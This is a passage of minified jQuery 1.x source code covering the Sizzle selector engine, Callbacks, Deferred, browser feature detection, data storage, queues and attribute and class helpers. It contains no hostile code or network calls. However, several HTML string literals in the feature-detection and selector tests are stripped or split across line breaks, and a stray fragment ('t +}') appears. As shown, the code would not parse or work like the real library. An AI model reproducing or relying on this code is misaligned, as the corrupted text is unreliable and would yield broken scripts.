",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),r.getById=ut(function(e){return d.appendChild(e).id=b,!n.getElementsByName||!n.getElementsByName(b).length}),r.getById?(o.find.ID=function(e,t){if(typeof t.getElementById!==j&&h){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){return e.getAttribute("id")===t}}):(delete o.find.ID,o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){var n=typeof e.getAttributeNode!==j&&e.getAttributeNode("id");return n&&n.value===t}}),o.find.TAG=r.getElementsByTagName?function(e,n){return typeof n.getElementsByTagName!==j?n.getElementsByTagName(e):t}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},o.find.CLASS=r.getElementsByClassName&&function(e,n){return typeof n.getElementsByClassName!==j&&h?n.getElementsByClassName(e):t},m=[],g=[],(r.qsa=K.test(n.querySelectorAll))&&(ut(function(e){e.innerHTML="",e.querySelectorAll("[selected]").length||g.push("\\["+P+"*(?:value|"+B+")"),e.querySelectorAll(":checked").length||g.push(":checked")}),ut(function(e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("t",""),e.querySelectorAll("[t^='']").length&&g.push("[*^$]="+P+"*(?:''|\"\")"),e.querySelectorAll(":enabled").length||g.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),g.push(",.*:")})),(r.matchesSelector=K.test(y=d.webkitMatchesSelector||d.mozMatchesSelector||d.oMatchesSelector||d.msMatchesSelector))&&ut(function(e){r.disconnectedMatch=y.call(e,"div"),y.call(e,"[s!='']:x"),m.push("!=",I)}),g=g.length&&RegExp(g.join("|")),m=m.length&&RegExp(m.join("|")),v=K.test(d.contains)||d.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},A=d.compareDocumentPosition?function(e,t){if(e===t)return S=!0,0;var i=t.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(t);return i?1&i||!r.sortDetached&&t.compareDocumentPosition(e)===i?e===n||v(w,e)?-1:t===n||v(w,t)?1:c?F.call(c,e)-F.call(c,t):0:4&i?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var r,i=0,o=e.parentNode,a=t.parentNode,s=[e],l=[t];if(e===t)return S=!0,0;if(!o||!a)return e===n?-1:t===n?1:o?-1:a?1:c?F.call(c,e)-F.call(c,t):0;if(o===a)return pt(e,t);r=e;while(r=r.parentNode)s.unshift(r);r=t;while(r=r.parentNode)l.unshift(r);while(s[i]===l[i])i++;return i?pt(s[i],l[i]):s[i]===w?-1:l[i]===w?1:0},n):f},at.matches=function(e,t){return at(e,null,null,t)},at.matchesSelector=function(e,t){if((e.ownerDocument||e)!==f&&p(e),t=t.replace(Y,"='$1']"),!(!r.matchesSelector||!h||m&&m.test(t)||g&&g.test(t)))try{var n=y.call(e,t);if(n||r.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(i){}return at(t,f,null,[e]).length>0},at.contains=function(e,t){return(e.ownerDocument||e)!==f&&p(e),v(e,t)},at.attr=function(e,n){(e.ownerDocument||e)!==f&&p(e);var i=o.attrHandle[n.toLowerCase()],a=i&&L.call(o.attrHandle,n.toLowerCase())?i(e,n,!h):t;return a===t?r.attributes||!h?e.getAttribute(n):(a=e.getAttributeNode(n))&&a.specified?a.value:null:a},at.error=function(e){throw Error("Syntax error, unrecognized expression: "+e)},at.uniqueSort=function(e){var t,n=[],i=0,o=0;if(S=!r.detectDuplicates,c=!r.sortStable&&e.slice(0),e.sort(A),S){while(t=e[o++])t===e[o]&&(i=n.push(o));while(i--)e.splice(n[i],1)}return e},a=at.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=a(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r];r++)n+=a(t);return n},o=at.selectors={cacheLength:50,createPseudo:lt,match:Q,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(rt,it),e[3]=(e[4]||e[5]||"").replace(rt,it),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||at.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&at.error(e[0]),e},PSEUDO:function(e){var n,r=!e[5]&&e[2];return Q.CHILD.test(e[0])?null:(e[3]&&e[4]!==t?e[2]=e[4]:r&&J.test(r)&&(n=mt(r,!0))&&(n=r.indexOf(")",r.length-n)-r.length)&&(e[0]=e[0].slice(0,n),e[2]=r.slice(0,n)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(rt,it).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=N[e+" "];return t||(t=RegExp("(^|"+P+")"+e+"("+P+"|$)"))&&N(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==j&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=at.attr(r,e);return null==i?"!="===t:t?(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i+" ").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,l){var u,c,p,f,d,h,g=o!==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!l&&!s;if(m){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===y:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?m.firstChild:m.lastChild],a&&v){c=m[b]||(m[b]={}),u=c[e]||[],d=u[0]===T&&u[1],f=u[0]===T&&u[2],p=d&&m.childNodes[d];while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if(1===p.nodeType&&++f&&p===t){c[e]=[T,d,f];break}}else if(v&&(u=(t[b]||(t[b]={}))[e])&&u[0]===T)f=u[1];else while(p=++d&&p&&p[g]||(f=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===y:1===p.nodeType)&&++f&&(v&&((p[b]||(p[b]={}))[e]=[T,f]),p===t))break;return f-=i,f===r||0===f%r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=o.pseudos[e]||o.setFilters[e.toLowerCase()]||at.error("unsupported pseudo: "+e);return r[b]?r(t):r.length>1?(n=[e,e,"",t],o.setFilters.hasOwnProperty(e.toLowerCase())?lt(function(e,n){var i,o=r(e,t),a=o.length;while(a--)i=F.call(e,o[a]),e[i]=!(n[i]=o[a])}):function(e){return r(e,0,n)}):r}},pseudos:{not:lt(function(e){var t=[],n=[],r=l(e.replace(z,"$1"));return r[b]?lt(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:lt(function(e){return function(t){return at(e,t).length>0}}),contains:lt(function(e){return function(t){return(t.textContent||t.innerText||a(t)).indexOf(e)>-1}}),lang:lt(function(e){return G.test(e||"")||at.error("unsupported lang: "+e),e=e.replace(rt,it).toLowerCase(),function(t){var n;do if(n=h?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===d},focus:function(e){return e===f.activeElement&&(!f.hasFocus||f.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType)return!1;return!0},parent:function(e){return!o.pseudos.empty(e)},header:function(e){return tt.test(e.nodeName)},input:function(e){return et.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||t.toLowerCase()===e.type)},first:ht(function(){return[0]}),last:ht(function(e,t){return[t-1]}),eq:ht(function(e,t,n){return[0>n?n+t:n]}),even:ht(function(e,t){var n=0;for(;t>n;n+=2)e.push(n);return e}),odd:ht(function(e,t){var n=1;for(;t>n;n+=2)e.push(n);return e}),lt:ht(function(e,t,n){var r=0>n?n+t:n;for(;--r>=0;)e.push(r);return e}),gt:ht(function(e,t,n){var r=0>n?n+t:n;for(;t>++r;)e.push(r);return e})}},o.pseudos.nth=o.pseudos.eq;for(n in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})o.pseudos[n]=ft(n);for(n in{submit:!0,reset:!0})o.pseudos[n]=dt(n);function gt(){}gt.prototype=o.filters=o.pseudos,o.setFilters=new gt;function mt(e,t){var n,r,i,a,s,l,u,c=k[e+" "];if(c)return t?0:c.slice(0);s=e,l=[],u=o.preFilter;while(s){(!n||(r=X.exec(s)))&&(r&&(s=s.slice(r[0].length)||s),l.push(i=[])),n=!1,(r=U.exec(s))&&(n=r.shift(),i.push({value:n,type:r[0].replace(z," ")}),s=s.slice(n.length));for(a in o.filter)!(r=Q[a].exec(s))||u[a]&&!(r=u[a](r))||(n=r.shift(),i.push({value:n,type:a,matches:r}),s=s.slice(n.length));if(!n)break}return t?s.length:s?at.error(e):k(e,l).slice(0)}function yt(e){var t=0,n=e.length,r="";for(;n>t;t++)r+=e[t].value;return r}function vt(e,t,n){var r=t.dir,o=n&&"parentNode"===r,a=C++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||o)return e(t,n,i)}:function(t,n,s){var l,u,c,p=T+" "+a;if(s){while(t=t[r])if((1===t.nodeType||o)&&e(t,n,s))return!0}else while(t=t[r])if(1===t.nodeType||o)if(c=t[b]||(t[b]={}),(u=c[r])&&u[0]===p){if((l=u[1])===!0||l===i)return l===!0}else if(u=c[r]=[p],u[1]=e(t,n,s)||i,u[1]===!0)return!0}}function bt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function xt(e,t,n,r,i){var o,a=[],s=0,l=e.length,u=null!=t;for(;l>s;s++)(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),u&&t.push(s));return a}function wt(e,t,n,r,i,o){return r&&!r[b]&&(r=wt(r)),i&&!i[b]&&(i=wt(i,o)),lt(function(o,a,s,l){var u,c,p,f=[],d=[],h=a.length,g=o||Nt(t||"*",s.nodeType?[s]:s,[]),m=!e||!o&&t?g:xt(g,f,e,s,l),y=n?i||(o?e:h||r)?[]:a:m;if(n&&n(m,y,s,l),r){u=xt(y,d),r(u,[],s,l),c=u.length;while(c--)(p=u[c])&&(y[d[c]]=!(m[d[c]]=p))}if(o){if(i||e){if(i){u=[],c=y.length;while(c--)(p=y[c])&&u.push(m[c]=p);i(null,y=[],u,l)}c=y.length;while(c--)(p=y[c])&&(u=i?F.call(o,p):f[c])>-1&&(o[u]=!(a[u]=p))}}else y=xt(y===a?y.splice(h,y.length):y),i?i(null,a,y,l):M.apply(a,y)})}function Tt(e){var t,n,r,i=e.length,a=o.relative[e[0].type],s=a||o.relative[" "],l=a?1:0,c=vt(function(e){return e===t},s,!0),p=vt(function(e){return F.call(t,e)>-1},s,!0),f=[function(e,n,r){return!a&&(r||n!==u)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;i>l;l++)if(n=o.relative[e[l].type])f=[vt(bt(f),n)];else{if(n=o.filter[e[l].type].apply(null,e[l].matches),n[b]){for(r=++l;i>r;r++)if(o.relative[e[r].type])break;return wt(l>1&&bt(f),l>1&&yt(e.slice(0,l-1).concat({value:" "===e[l-2].type?"*":""})).replace(z,"$1"),n,r>l&&Tt(e.slice(l,r)),i>r&&Tt(e=e.slice(r)),i>r&&yt(e))}f.push(n)}return bt(f)}function Ct(e,t){var n=0,r=t.length>0,a=e.length>0,s=function(s,l,c,p,d){var h,g,m,y=[],v=0,b="0",x=s&&[],w=null!=d,C=u,N=s||a&&o.find.TAG("*",d&&l.parentNode||l),k=T+=null==C?1:Math.random()||.1;for(w&&(u=l!==f&&l,i=n);null!=(h=N[b]);b++){if(a&&h){g=0;while(m=e[g++])if(m(h,l,c)){p.push(h);break}w&&(T=k,i=++n)}r&&((h=!m&&h)&&v--,s&&x.push(h))}if(v+=b,r&&b!==v){g=0;while(m=t[g++])m(x,y,l,c);if(s){if(v>0)while(b--)x[b]||y[b]||(y[b]=q.call(p));y=xt(y)}M.apply(p,y),w&&!s&&y.length>0&&v+t.length>1&&at.uniqueSort(p)}return w&&(T=k,u=C),x};return r?lt(s):s}l=at.compile=function(e,t){var n,r=[],i=[],o=E[e+" "];if(!o){t||(t=mt(e)),n=t.length;while(n--)o=Tt(t[n]),o[b]?r.push(o):i.push(o);o=E(e,Ct(i,r))}return o};function Nt(e,t,n){var r=0,i=t.length;for(;i>r;r++)at(e,t[r],n);return n}function kt(e,t,n,i){var a,s,u,c,p,f=mt(e);if(!i&&1===f.length){if(s=f[0]=f[0].slice(0),s.length>2&&"ID"===(u=s[0]).type&&r.getById&&9===t.nodeType&&h&&o.relative[s[1].type]){if(t=(o.find.ID(u.matches[0].replace(rt,it),t)||[])[0],!t)return n;e=e.slice(s.shift().value.length)}a=Q.needsContext.test(e)?0:s.length;while(a--){if(u=s[a],o.relative[c=u.type])break;if((p=o.find[c])&&(i=p(u.matches[0].replace(rt,it),V.test(s[0].type)&&t.parentNode||t))){if(s.splice(a,1),e=i.length&&yt(s),!e)return M.apply(n,i),n;break}}}return l(e,f)(i,t,!h,n,V.test(e)),n}r.sortStable=b.split("").sort(A).join("")===b,r.detectDuplicates=S,p(),r.sortDetached=ut(function(e){return 1&e.compareDocumentPosition(f.createElement("div"))}),ut(function(e){return e.innerHTML="","#"===e.firstChild.getAttribute("href")})||ct("type|href|height|width",function(e,n,r){return r?t:e.getAttribute(n,"type"===n.toLowerCase()?1:2)}),r.attributes&&ut(function(e){return e.innerHTML="",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||ct("value",function(e,n,r){return r||"input"!==e.nodeName.toLowerCase()?t:e.defaultValue}),ut(function(e){return null==e.getAttribute("disabled")})||ct(B,function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&i.specified?i.value:e[n]===!0?n.toLowerCase():null}),x.find=at,x.expr=at.selectors,x.expr[":"]=x.expr.pseudos,x.unique=at.uniqueSort,x.text=at.getText,x.isXMLDoc=at.isXML,x.contains=at.contains}(e);var O={};function F(e){var t=O[e]={};return x.each(e.match(T)||[],function(e,n){t[n]=!0}),t}x.Callbacks=function(e){e="string"==typeof e?O[e]||F(e):x.extend({},e);var n,r,i,o,a,s,l=[],u=!e.once&&[],c=function(t){for(r=e.memory&&t,i=!0,a=s||0,s=0,o=l.length,n=!0;l&&o>a;a++)if(l[a].apply(t[0],t[1])===!1&&e.stopOnFalse){r=!1;break}n=!1,l&&(u?u.length&&c(u.shift()):r?l=[]:p.disable())},p={add:function(){if(l){var t=l.length;(function i(t){x.each(t,function(t,n){var r=x.type(n);"function"===r?e.unique&&p.has(n)||l.push(n):n&&n.length&&"string"!==r&&i(n)})})(arguments),n?o=l.length:r&&(s=t,c(r))}return this},remove:function(){return l&&x.each(arguments,function(e,t){var r;while((r=x.inArray(t,l,r))>-1)l.splice(r,1),n&&(o>=r&&o--,a>=r&&a--)}),this},has:function(e){return e?x.inArray(e,l)>-1:!(!l||!l.length)},empty:function(){return l=[],o=0,this},disable:function(){return l=u=r=t,this},disabled:function(){return!l},lock:function(){return u=t,r||p.disable(),this},locked:function(){return!u},fireWith:function(e,t){return!l||i&&!u||(t=t||[],t=[e,t.slice?t.slice():t],n?u.push(t):c(t)),this},fire:function(){return p.fireWith(this,arguments),this},fired:function(){return!!i}};return p},x.extend({Deferred:function(e){var t=[["resolve","done",x.Callbacks("once memory"),"resolved"],["reject","fail",x.Callbacks("once memory"),"rejected"],["notify","progress",x.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return x.Deferred(function(n){x.each(t,function(t,o){var a=o[0],s=x.isFunction(e[t])&&e[t];i[o[1]](function(){var e=s&&s.apply(this,arguments);e&&x.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[a+"With"](this===r?n.promise():this,s?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?x.extend(e,r):r}},i={};return r.pipe=r.then,x.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=g.call(arguments),r=n.length,i=1!==r||e&&x.isFunction(e.promise)?r:0,o=1===i?e:x.Deferred(),a=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?g.call(arguments):r,n===s?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},s,l,u;if(r>1)for(s=Array(r),l=Array(r),u=Array(r);r>t;t++)n[t]&&x.isFunction(n[t].promise)?n[t].promise().done(a(t,u,n)).fail(o.reject).progress(a(t,l,s)):--i;return i||o.resolveWith(u,n),o.promise()}}),x.support=function(t){var n,r,o,s,l,u,c,p,f,d=a.createElement("div");if(d.setAttribute("className","t"),d.innerHTML="
a",n=d.getElementsByTagName("*")||[],r=d.getElementsByTagName("a")[0],!r||!r.style||!n.length)return t;s=a.createElement("select"),u=s.appendChild(a.createElement("option")),o=d.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t.getSetAttribute="t"!==d.className,t.leadingWhitespace=3===d.firstChild.nodeType,t.tbody=!d.getElementsByTagName("tbody").length,t.htmlSerialize=!!d.getElementsByTagName("link").length,t.style=/top/.test(r.getAttribute("style")),t.hrefNormalized="/a"===r.getAttribute("href"),t.opacity=/^0.5/.test(r.style.opacity),t.cssFloat=!!r.style.cssFloat,t.checkOn=!!o.value,t.optSelected=u.selected,t.enctype=!!a.createElement("form").enctype,t.html5Clone="<:nav>"!==a.createElement("nav").cloneNode(!0).outerHTML,t.inlineBlockNeedsLayout=!1,t.shrinkWrapBlocks=!1,t.pixelPosition=!1,t.deleteExpando=!0,t.noCloneEvent=!0,t.reliableMarginRight=!0,t.boxSizingReliable=!0,o.checked=!0,t.noCloneChecked=o.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!u.disabled;try{delete d.test}catch(h){t.deleteExpando=!1}o=a.createElement("input"),o.setAttribute("value",""),t.input=""===o.getAttribute("value"),o.value="t",o.setAttribute("type","radio"),t.radioValue="t"===o.value,o.setAttribute("checked","t"),o.setAttribute("name","t"),l=a.createDocumentFragment(),l.appendChild(o),t.appendChecked=o.checked,t.checkClone=l.cloneNode(!0).cloneNode(!0).lastChild.checked,d.attachEvent&&(d.attachEvent("onclick",function(){t.noCloneEvent=!1}),d.cloneNode(!0).click());for(f in{submit:!0,change:!0,focusin:!0})d.setAttribute(c="on"+f,"t"),t[f+"Bubbles"]=c in e||d.attributes[c].expando===!1;d.style.backgroundClip="content-box",d.cloneNode(!0).style.backgroundClip="",t.clearCloneStyle="content-box"===d.style.backgroundClip;for(f in x(t))break;return t.ownLast="0"!==f,x(function(){var n,r,o,s="padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",l=a.getElementsByTagName("body")[0];l&&(n=a.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",l.appendChild(n).appendChild(d),d.innerHTML="
t
",o=d.getElementsByTagName("td"),o[0].style.cssText="padding:0;margin:0;border:0;display:none",p=0===o[0].offsetHeight,o[0].style.display="",o[1].style.display="none",t.reliableHiddenOffsets=p&&0===o[0].offsetHeight,d.innerHTML="",d.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",x.swap(l,null!=l.style.zoom?{zoom:1}:{},function(){t.boxSizing=4===d.offsetWidth}),e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(d,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(d,null)||{width:"4px"}).width,r=d.appendChild(a.createElement("div")),r.style.cssText=d.style.cssText=s,r.style.marginRight=r.style.width="0",d.style.width="1px",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),typeof d.style.zoom!==i&&(d.innerHTML="",d.style.cssText=s+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===d.offsetWidth,d.style.display="block",d.innerHTML="
",d.firstChild.style.width="5px",t.shrinkWrapBlocks=3!==d.offsetWidth,t.inlineBlockNeedsLayout&&(l.style.zoom=1)),l.removeChild(n),n=d=o=r=null)}),n=s=l=u=r=o=null,t +}({});var B=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;function R(e,n,r,i){if(x.acceptData(e)){var o,a,s=x.expando,l=e.nodeType,u=l?x.cache:e,c=l?e[s]:e[s]&&s;if(c&&u[c]&&(i||u[c].data)||r!==t||"string"!=typeof n)return c||(c=l?e[s]=p.pop()||x.guid++:s),u[c]||(u[c]=l?{}:{toJSON:x.noop}),("object"==typeof n||"function"==typeof n)&&(i?u[c]=x.extend(u[c],n):u[c].data=x.extend(u[c].data,n)),a=u[c],i||(a.data||(a.data={}),a=a.data),r!==t&&(a[x.camelCase(n)]=r),"string"==typeof n?(o=a[n],null==o&&(o=a[x.camelCase(n)])):o=a,o}}function W(e,t,n){if(x.acceptData(e)){var r,i,o=e.nodeType,a=o?x.cache:e,s=o?e[x.expando]:x.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){x.isArray(t)?t=t.concat(x.map(t,x.camelCase)):t in r?t=[t]:(t=x.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;while(i--)delete r[t[i]];if(n?!I(r):!x.isEmptyObject(r))return}(n||(delete a[s].data,I(a[s])))&&(o?x.cleanData([e],!0):x.support.deleteExpando||a!=a.window?delete a[s]:a[s]=null)}}}x.extend({cache:{},noData:{applet:!0,embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return e=e.nodeType?x.cache[e[x.expando]]:e[x.expando],!!e&&!I(e)},data:function(e,t,n){return R(e,t,n)},removeData:function(e,t){return W(e,t)},_data:function(e,t,n){return R(e,t,n,!0)},_removeData:function(e,t){return W(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!==e.nodeType&&9!==e.nodeType)return!1;var t=e.nodeName&&x.noData[e.nodeName.toLowerCase()];return!t||t!==!0&&e.getAttribute("classid")===t}}),x.fn.extend({data:function(e,n){var r,i,o=null,a=0,s=this[0];if(e===t){if(this.length&&(o=x.data(s),1===s.nodeType&&!x._data(s,"parsedAttrs"))){for(r=s.attributes;r.length>a;a++)i=r[a].name,0===i.indexOf("data-")&&(i=x.camelCase(i.slice(5)),$(s,i,o[i]));x._data(s,"parsedAttrs",!0)}return o}return"object"==typeof e?this.each(function(){x.data(this,e)}):arguments.length>1?this.each(function(){x.data(this,e,n)}):s?$(s,e,x.data(s,e)):null},removeData:function(e){return this.each(function(){x.removeData(this,e)})}});function $(e,n,r){if(r===t&&1===e.nodeType){var i="data-"+n.replace(P,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null:+r+""===r?+r:B.test(r)?x.parseJSON(r):r}catch(o){}x.data(e,n,r)}else r=t}return r}function I(e){var t;for(t in e)if(("data"!==t||!x.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}x.extend({queue:function(e,n,r){var i;return e?(n=(n||"fx")+"queue",i=x._data(e,n),r&&(!i||x.isArray(r)?i=x._data(e,n,x.makeArray(r)):i.push(r)),i||[]):t},dequeue:function(e,t){t=t||"fx";var n=x.queue(e,t),r=n.length,i=n.shift(),o=x._queueHooks(e,t),a=function(){x.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return x._data(e,n)||x._data(e,n,{empty:x.Callbacks("once memory").add(function(){x._removeData(e,t+"queue"),x._removeData(e,n)})})}}),x.fn.extend({queue:function(e,n){var r=2;return"string"!=typeof e&&(n=e,e="fx",r--),r>arguments.length?x.queue(this[0],e):n===t?this:this.each(function(){var t=x.queue(this,e,n);x._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&x.dequeue(this,e)})},dequeue:function(e){return this.each(function(){x.dequeue(this,e)})},delay:function(e,t){return e=x.fx?x.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,o=x.Deferred(),a=this,s=this.length,l=function(){--i||o.resolveWith(a,[a])};"string"!=typeof e&&(n=e,e=t),e=e||"fx";while(s--)r=x._data(a[s],e+"queueHooks"),r&&r.empty&&(i++,r.empty.add(l));return l(),o.promise(n)}});var z,X,U=/[\t\r\n\f]/g,V=/\r/g,Y=/^(?:input|select|textarea|button|object)$/i,J=/^(?:a|area)$/i,G=/^(?:checked|selected)$/i,Q=x.support.getSetAttribute,K=x.support.input;x.fn.extend({attr:function(e,t){return x.access(this,x.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){x.removeAttr(this,e)})},prop:function(e,t){return x.access(this,x.prop,e,t,arguments.length>1)},removeProp:function(e){return e=x.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,o,a=0,s=this.length,l="string"==typeof e&&e;if(x.isFunction(e))return this.each(function(t){x(this).addClass(e.call(this,t,this.className))});if(l)for(t=(e||"").match(T)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(U," "):" ")){o=0;while(i=t[o++])0>r.indexOf(" "+i+" ")&&(r+=i+" ");n.className=x.trim(r)}return this},removeClass:function(e){var t,n,r,i,o,a=0,s=this.length,l=0===arguments.length||"string"==typeof e&&e;if(x.isFunction(e))return this.each(function(t){x(this).removeClass(e.call(this,t,this.className))});if(l)for(t=(e||"").match(T)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(U," "):"")){o=0;while(i=t[o++])while(r.indexOf(" "+i+" ")>=0)r=r.replace(" "+i+" "," ");n.className=e?x.trim(r):""}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):x.isFunction(e)?this.each(function(n){x(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if("string"===n){var t,r=0,o=x(this),a=e.match(T)||[];while(t=a[r++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else(n===i||"boolean"===n)&&(this.className&&x._data(this,"__className__",this.className),this.className=this.className||e===!1?"":x._data(this,"__className__")||"")})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;r>n;n++)if(1===this[n].nodeType&&(" "+this[n].className+" ").replace(U," ").indexOf(t)>=0)return!0;return!1},val:function(e){var n,r,i,o=this[0];{if(arguments.length)return i=x.isFunction(e),this.each(function(n){var o;1===this.nodeType&&(o=i?e.call(this,n,x(this).val()):e,null==o?o="":"number"==typeof o?o+="":x.isArray(o)&&(o=x.map(o,function(e){return null==e?"":e+""})),r=x.valHooks[this.type]||x.valHooks[this.nodeName.toLowerCase()],r&&"set"in r&&r.set(this,o,"value")!==t||(this.value=o))});if(o)return r=x.valHooks[o.type]||x.valHooks[o.nodeName.toLowerCase()],r&&"get"in r&&(n=r.get(o,"value"))!==t?n:(n=o.value,"string"==typeof n?n.replace(V,""):null==n?"":n)}}}),x.extend({valHooks:{option:{get:function(e){var t=x.find.attr(e,"value");return null!=t?t:e.text}},select:{get:function(e){var 